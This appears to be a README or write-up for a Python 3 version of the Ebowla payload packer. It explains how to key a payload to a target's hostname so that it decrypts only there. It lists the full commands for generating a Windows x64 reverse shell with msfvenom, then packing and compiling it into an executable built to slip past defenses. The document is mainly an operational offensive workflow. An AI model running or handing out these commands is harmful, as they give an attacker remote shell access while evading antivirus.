When using go as payload type, most of the functionality should be implemeted and function properly. We decided against rewriting the functionality needed to use python as payload type, as cross compiling python executables on linux only really works through the usage of pyinstaller in wine - which is quite a hassle and an ugly solution, especially considering that GO as payload type can almost take over everything that python could and we, ourselves, never had to use python for it.
This part is taken from a writeup I did for Ebowla with python2. With the added python3 support, none of the steps following change, at least not for the output type EXE. If we have time, we will provide documentation adjusted to python3 and other functionality.
change:
payload_type = GO
output_type = EXE
Set at least one environment variable (computername = hostname), the name has to be exact, as Ebowla won't decrypt otherwise.
Here used as an example, a reverse shell made with mfsvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -a x64 -o shell.exe
python3 ebowla.py shell.exe genetic.config
./build_x64_go.sh output/<outputfilefromfirststeps> <finalfilename>
The finished, packed executable can be found in the output folder.